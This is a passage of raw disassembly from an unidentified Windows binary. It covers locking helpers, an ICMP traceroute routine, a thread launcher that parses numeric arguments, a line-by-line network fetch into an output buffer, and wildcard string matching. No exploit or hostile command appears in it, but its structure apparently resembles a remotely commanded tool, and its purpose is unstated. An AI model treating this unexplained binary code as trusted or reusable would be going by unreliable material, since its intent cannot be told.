sub_409C7A pop ecx xor eax, eax locret_409BED: ; CODE XREF: sub_409AD5+65j leave retn 4 sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF1 proc near ; CODE XREF: sub_40A9CF+AFBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_409C0B jmp short locret_409C34 ; --------------------------------------------------------------------------- loc_409C0B: ; CODE XREF: sub_409BF1+16j push [ebp+arg_0] push [ebp+var_4] call sub_405F67 pop ecx pop ecx push [ebp+arg_0] push offset sub_409AD5 call sub_409479 pop ecx pop ecx test eax, eax jnz short locret_409C34 push [ebp+arg_0] call sub_416B4C ; free pop ecx locret_409C34: ; CODE XREF: sub_409BF1+18j ; sub_409BF1+38j leave retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C36 proc near ; CODE XREF: sub_405FA3+9p ; sub_40938F+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 18h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch cmp dword_41DE10, 0 jz short loc_409C61 push 80000400h push [ebp+arg_0] call dword_41DE10 ; InitializeCriticalSectionAndSpinCount jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C61: ; CODE XREF: sub_409C36+19j push [ebp+arg_0] call dword_4170E4 ; InitializeCriticalSection loc_409C6A: ; CODE XREF: sub_409C36+29j pop ebp retn sub_409C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6C proc near ; CODE XREF: sub_406041+10p ; sub_4095A4+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170EC ; RtlEnterCriticalSection pop ebp retn sub_409C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C7A proc near ; CODE XREF: sub_406041+26p ; sub_406041+307p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_41710C ; RtlLeaveCriticalSection pop ebp retn sub_409C7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C88 proc near ; CODE XREF: sub_40332B+10p ; sub_41113B+7EDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop edi pop esi pop ebx pop ebp retn sub_409C88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C9D proc near ; CODE XREF: sub_4042FB+17p ; sub_4042FB+25p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop edi pop esi pop ebx pop ebp retn sub_409C9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CB1 proc near ; CODE XREF: sub_409DD0+202p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 38h call dword_41E2CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_409CD8 push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_409DCE ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409CB1+13j push 8 push 0 lea eax, [ebp+var_18] push eax call sub_416B6A ; memset add esp, 0Ch mov al, [ebp+arg_8] mov [ebp+var_18], al movzx eax, [ebp+arg_10] push eax call sub_416DD2 pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_C], eax movzx eax, [ebp+arg_10] push eax push 45h push [ebp+var_C] call sub_416B6A ; memset add esp, 0Ch movzx eax, [ebp+arg_10] cmp eax, 8 jge short loc_409D26 mov [ebp+var_38], 8 jmp short loc_409D2D ; --------------------------------------------------------------------------- loc_409D26: ; CODE XREF: sub_409CB1+6Aj movzx eax, [ebp+arg_10] mov [ebp+var_38], eax loc_409D2D: ; CODE XREF: sub_409CB1+73j mov eax, [ebp+var_38] add eax, 1Ch mov [ebp+var_24], eax push [ebp+var_24] call sub_416DD2 pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+var_24] push [ebp+var_10] lea eax, [ebp+var_18] push eax movzx ax, [ebp+arg_10] push eax push [ebp+var_C] push [ebp+arg_0] push [ebp+var_1C] call dword_41E2D8 mov [ebp+var_20], eax mov [ebp+var_8], 1 cmp [ebp+var_20], 1 jz short loc_409D8D call dword_417064 ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_409DA4 ; --------------------------------------------------------------------------- loc_409D8D: ; CODE XREF: sub_409CB1+CDj mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax+4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov [eax+8], ecx loc_409DA4: ; CODE XREF: sub_409CB1+DAj push [ebp+var_1C] call dword_41E2D4 mov eax, [ebp+var_C] mov [ebp+var_30], eax push [ebp+var_30] call sub_416DCC pop ecx mov eax, [ebp+var_10] mov [ebp+var_34], eax push [ebp+var_34] call sub_416DCC pop ecx mov eax, [ebp+var_8] locret_409DCE: ; CODE XREF: sub_409CB1+22j leave retn sub_409CB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DD0 proc near ; DATA XREF: sub_40A1A7+FDo var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = byte ptr -2B0h var_10D = byte ptr -10Dh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2F0h push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, byte_41E2E0 test eax, eax jnz short loc_409E6D push offset aIcmp_dll ; "ICMP.DLL" call dword_417054 ; LoadLibraryA mov dword_41E2D0, eax cmp dword_41E2D0, 0 jnz short loc_409E24 xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E24: ; CODE XREF: sub_409DD0+4Bj push offset aIcmpcreatefile ; "IcmpCreateFile" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2CC, eax push offset aIcmpsendecho ; "IcmpSendEcho" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D8, eax push offset aIcmpclosehandl ; "IcmpCloseHandle" push dword_41E2D0 call dword_417058 ; GetProcAddress mov dword_41E2D4, eax mov byte_41E2E0, 1 loc_409E6D: ; CODE XREF: sub_409DD0+32j cmp dword_41E2CC, 0 jnz short loc_409E7D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E7D: ; CODE XREF: sub_409DD0+A4j cmp dword_41E2D8, 0 jnz short loc_409E8D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E8D: ; CODE XREF: sub_409DD0+B4j cmp dword_41E2D4, 0 jnz short loc_409E9D xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409E9D: ; CODE XREF: sub_409DD0+C4j lea eax, [ebp+var_10D] mov [ebp+var_2B8], eax push [ebp+var_2B8] call dword_417244 ; inet_addr mov [ebp+var_2BC], eax cmp [ebp+var_2BC], 0FFFFFFFFh jnz short loc_409F18 push [ebp+var_2B8] call dword_41723C ; gethostbyname mov [ebp+var_2C0], eax cmp [ebp+var_2C0], 0 jz short loc_409F06 mov eax, [ebp+var_2C0] movsx eax, word ptr [eax+0Ah] push eax mov eax, [ebp+var_2C0] mov eax, [eax+0Ch] push dword ptr [eax] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_409F18 ; --------------------------------------------------------------------------- loc_409F06: ; CODE XREF: sub_409DD0+10Dj push offset aCouldNotResolv ; "Could not resolve name" call sub_416DD8 ; printf pop ecx xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_409F18: ; CODE XREF: sub_409DD0+F2j ; sub_409DD0+134j and [ebp+var_4], 0 mov byte ptr [ebp+var_2B4], 1 jmp short loc_409F33 ; --------------------------------------------------------------------------- loc_409F25: ; CODE XREF: sub_409DD0:loc_40A19Cj mov al, byte ptr [ebp+var_2B4] add al, 1 mov byte ptr [ebp+var_2B4], al loc_409F33: ; CODE XREF: sub_409DD0+153j movzx eax, byte ptr [ebp+var_2B4] movzx ecx, [ebp+var_D] cmp eax, ecx jg loc_40A1A1 cmp [ebp+var_4], 0 jnz loc_40A1A1 and [ebp+var_2EC], 0 or [ebp+var_2E4], 0FFFFFFFFh and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 and [ebp+var_2D0], 0 and [ebp+var_2C8], 0 and [ebp+var_2CC], 0 and [ebp+var_2D8], 0 and [ebp+var_2D4], 0 jmp short loc_409F9E ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409DD0:loc_40A04Ej mov eax, [ebp+var_2D4] inc eax mov [ebp+var_2D4], eax loc_409F9E: ; CODE XREF: sub_409DD0+1BFj mov eax, [ebp+var_2D4] cmp eax, [ebp+var_8] jnb loc_40A053 cmp [ebp+var_2D8], 0 jnz loc_40A053 push 20h push [ebp+var_C] push [ebp+var_2B4] lea eax, [ebp+var_2CC] push eax push [ebp+var_2BC] call sub_409CB1 add esp, 14h test eax, eax jz short loc_40A047 cmp [ebp+var_2CC], 0 jnz short loc_40A02F mov eax, [ebp+var_2D0] add eax, [ebp+var_2C4] mov [ebp+var_2D0], eax mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2E4] jnb short loc_40A013 mov eax, [ebp+var_2C4] mov [ebp+var_2E4], eax loc_40A013: ; CODE XREF: sub_409DD0+235j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_2DC] jbe short loc_40A02D mov eax, [ebp+var_2C4] mov [ebp+var_2DC], eax loc_40A02D: ; CODE XREF: sub_409DD0+24Fj jmp short loc_40A045 ; --------------------------------------------------------------------------- loc_40A02F: ; CODE XREF: sub_409DD0+215j mov eax, [ebp+var_2CC] mov [ebp+var_2EC], eax mov [ebp+var_2D8], 1 loc_40A045: ; CODE XREF: sub_409DD0:loc_40A02Dj jmp short loc_40A04E ; --------------------------------------------------------------------------- loc_40A047: ; CODE XREF: sub_409DD0+20Cj xor eax, eax jmp locret_40A1A3 ; --------------------------------------------------------------------------- loc_40A04E: ; CODE XREF: sub_409DD0:loc_40A045j jmp loc_409F91 ; --------------------------------------------------------------------------- loc_40A053: ; CODE XREF: sub_409DD0+1D7j ; sub_409DD0+1E4j mov eax, [ebp+var_2C8] mov [ebp+var_2E8], eax cmp [ebp+var_2EC], 0 jnz short loc_40A07B mov eax, [ebp+var_2D0] xor edx, edx div [ebp+var_8] mov [ebp+var_2E0], eax jmp short loc_40A090 ; --------------------------------------------------------------------------- loc_40A07B: ; CODE XREF: sub_409DD0+296j and [ebp+var_2E4], 0 and [ebp+var_2E0], 0 and [ebp+var_2DC], 0 loc_40A090: ; CODE XREF: sub_409DD0+2A9j cmp [ebp+var_2EC], 0 jnz loc_40A165 push 2 push 4 lea eax, [ebp+var_2E8] push eax call dword_417220 ; gethostbyaddr mov [ebp+var_2F0], eax cmp [ebp+var_2F0], 0 jz short loc_40A115 movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax mov eax, [ebp+var_2F0] push dword ptr [eax] push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419594 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 2Ch jmp short loc_40A163 ; --------------------------------------------------------------------------- loc_40A115: ; CODE XREF: sub_409DD0+2EBj movzx eax, byte ptr [ebp+var_2E8+3] push eax movzx eax, byte ptr [ebp+var_2E8+2] push eax movzx eax, byte ptr [ebp+var_2E8+1] push eax movzx eax, byte ptr [ebp+var_2E8] push eax push [ebp+var_2DC] push [ebp+var_2E0] push [ebp+var_2E4] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419568 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 28h loc_40A163: ; CODE XREF: sub_409DD0+343j jmp short loc_40A187 ; --------------------------------------------------------------------------- loc_40A165: ; CODE XREF: sub_409DD0+2C7j push [ebp+var_2EC] movzx eax, byte ptr [ebp+var_2B4] push eax push offset dword_419540 lea eax, [ebp+var_2B0] push eax call sub_40D53F add esp, 10h loc_40A187: ; CODE XREF: sub_409DD0:loc_40A163j mov eax, [ebp+var_2BC] cmp eax, [ebp+var_2E8] jnz short loc_40A19C mov [ebp+var_4], 1 loc_40A19C: ; CODE XREF: sub_409DD0+3C3j jmp loc_409F25 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_409DD0+170j ; sub_409DD0+17Aj xor eax, eax locret_40A1A3: ; CODE XREF: sub_409DD0+4Fj ; sub_409DD0+A8j ... leave retn 4 sub_409DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1A7 proc near ; CODE XREF: sub_40A9CF+FAEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h cmp [ebp+arg_4], 0 jnz short loc_40A1C7 push offset unk_419618 push [ebp+arg_0] call sub_40D53F pop ecx pop ecx jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1C7: ; CODE XREF: sub_40A1A7+Aj push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A1E0 jmp locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A1E0: ; CODE XREF: sub_40A1A7+32j push 1A3h push [ebp+arg_0] push [ebp+var_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A3h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx cmp eax, 0FFh jg short loc_40A22A push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_40A231 ; --------------------------------------------------------------------------- loc_40A22A: ; CODE XREF: sub_40A1A7+63j ; sub_40A1A7+73j mov [ebp+var_10], 1Eh loc_40A231: ; CODE XREF: sub_40A1A7+81j mov eax, [ebp+var_4] mov cl, byte ptr [ebp+var_10] mov [eax+2A3h], cl cmp [ebp+arg_C], 0 jz short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx cmp eax, 927C0h jg short loc_40A261 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax jmp short loc_40A268 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: sub_40A1A7+9Aj ; sub_40A1A7+AAj mov [ebp+var_14], 7530h loc_40A268: ; CODE XREF: sub_40A1A7+B8j mov eax, [ebp+var_4] mov ecx, [ebp+var_14] mov [eax+2A4h], ecx cmp [ebp+arg_10], 0 jz short loc_40A288 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_18], eax jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A288: ; CODE XREF: sub_40A1A7+D1j mov [ebp+var_18], 3 loc_40A28F: ; CODE XREF: sub_40A1A7+DFj mov eax, [ebp+var_4] mov ecx, [ebp+var_18] mov [eax+2A8h], ecx lea eax, [ebp+var_C] push eax push 0 push [ebp+var_4] push offset sub_409DD0 push 0 push 0 call dword_4170B4 ; CreateThread mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A2C7 push [ebp+var_4] call sub_416B4C ; free pop ecx jmp short locret_40A2D0 ; --------------------------------------------------------------------------- loc_40A2C7: ; CODE XREF: sub_40A1A7+113j push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40A2D0: ; CODE XREF: sub_40A1A7+1Bj ; sub_40A1A7+34j ... leave retn sub_40A1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2D2 proc near ; CODE XREF: sub_40A4A4+30p var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = byte ptr -1114h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 111Ch call sub_416BC0 mov eax, [ebp+arg_0] add eax, 4 push eax mov eax, [ebp+arg_0] add eax, 104h push eax mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] push offset dword_41966C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F add esp, 14h push 2710h push 0 push offset dword_419668 mov eax, [ebp+arg_0] add eax, 104h push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40A339 xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A2D2+5Ej mov eax, [ebp+arg_0] add eax, 4 push eax push offset dword_419660 lea eax, [ebp+var_114] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_114] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_114] push eax push [ebp+var_8] call sub_4053BF add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A38F push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A38F: ; CODE XREF: sub_40A2D2+ABj push 1000h lea eax, [ebp+var_1114] push eax push [ebp+var_8] call sub_4053DC add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_40A3B5 cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40A3C5 loc_40A3B5: ; CODE XREF: sub_40A2D2+DBj push [ebp+var_8] call sub_40538D pop ecx xor al, al jmp locret_40A4A2 ; --------------------------------------------------------------------------- loc_40A3C5: ; CODE XREF: sub_40A2D2+E1j lea eax, [ebp+var_1114] mov [ebp+var_10], eax loc_40A3CE: ; CODE XREF: sub_40A2D2:loc_40A492j mov eax, [ebp+var_10] mov [ebp+var_111C], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A3E9 jmp loc_40A497 ; --------------------------------------------------------------------------- loc_40A3E9: ; CODE XREF: sub_40A2D2+110j push [ebp+var_111C] call sub_407B5E pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_111C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40A41B push offset dword_418F4C push [ebp+var_111C] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40A442 loc_40A41B: ; CODE XREF: sub_40A2D2+131j mov eax, [ebp+var_111C] lea ecx, [ebp+var_1114] cmp eax, ecx jz short loc_40A440 push offset dword_41965C mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A440: ; CODE XREF: sub_40A2D2+157j jmp short loc_40A458 ; --------------------------------------------------------------------------- loc_40A442: ; CODE XREF: sub_40A2D2+147j push [ebp+var_111C] mov eax, [ebp+arg_0] add eax, 204h push eax call sub_40D53F pop ecx pop ecx loc_40A458: ; CODE XREF: sub_40A2D2:loc_40A440j push 3E8h call dword_41709C ; Sleep push offset dword_41E2A8 call sub_409C6C pop ecx mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax+4] mov [ebp+var_1118], eax push offset dword_41E2A8 call sub_409C7A pop ecx cmp [ebp+var_1118], 0 jz short loc_40A492 jmp short loc_40A497 ; --------------------------------------------------------------------------- loc_40A492: ; CODE XREF: sub_40A2D2+1BCj jmp loc_40A3CE ; --------------------------------------------------------------------------- loc_40A497: ; CODE XREF: sub_40A2D2+112j ; sub_40A2D2+1BEj push [ebp+var_8] call sub_40538D pop ecx mov al, 1 locret_40A4A2: ; CODE XREF: sub_40A2D2+62j ; sub_40A2D2+B8j ... leave retn sub_40A2D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4A4 proc near ; DATA XREF: sub_40A50E+A1o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_3A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_3A8] push eax call sub_40A2D2 pop ecx movzx eax, al test eax, eax jnz short loc_40A4FC lea eax, [ebp+var_2A4] push eax push offset dword_419698 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40A4FC: ; CODE XREF: sub_40A4A4+3Bj push [ebp+var_3A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50E proc near ; CODE XREF: sub_40A9CF+FE3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_40A51D jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A51D: ; CODE XREF: sub_40A50E+8j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40A536 jmp locret_40A5BC ; --------------------------------------------------------------------------- loc_40A536: ; CODE XREF: sub_40A50E+21j push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_40A562 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40A586 ; --------------------------------------------------------------------------- loc_40A562: ; CODE XREF: sub_40A50E+3Dj push offset dword_4196D4 mov eax, [ebp+var_4] add eax, 104h push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_4] add eax, 104h push eax call sub_4105FB pop ecx loc_40A586: ; CODE XREF: sub_40A50E+52j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4196B4 push 0 push [ebp+var_4] push offset sub_40A4A4 call sub_4095A4 add esp, 18h locret_40A5BC: ; CODE XREF: sub_40A50E+Aj ; sub_40A50E+23j leave retn sub_40A50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5BE proc near ; CODE XREF: sub_40A5BE+32p ; sub_40A5BE+70p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A603 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A5DD mov al, 1 jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: sub_40A5BE+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A5FC mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A5FC: ; CODE XREF: sub_40A5BE+28j xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A603: ; CODE XREF: sub_40A5BE+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A614 xor al, al jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A614: ; CODE XREF: sub_40A5BE+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A63A mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A63A: ; CODE XREF: sub_40A5BE+64j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A65B mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A65B: ; CODE XREF: sub_40A5BE+85j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69E mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A67C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A687 loc_40A67C: ; CODE XREF: sub_40A5BE+B1j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A69A loc_40A687: ; CODE XREF: sub_40A5BE+BCj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A5BE pop ecx pop ecx jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69A: ; CODE XREF: sub_40A5BE+C7j xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A69E: ; CODE XREF: sub_40A5BE+A6j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A6E7 and [ebp+var_4], 0 jmp short loc_40A6B6 ; --------------------------------------------------------------------------- loc_40A6AF: ; CODE XREF: sub_40A5BE:loc_40A6E5j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A6B6: ; CODE XREF: sub_40A5BE+EFj mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A6D4 mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, 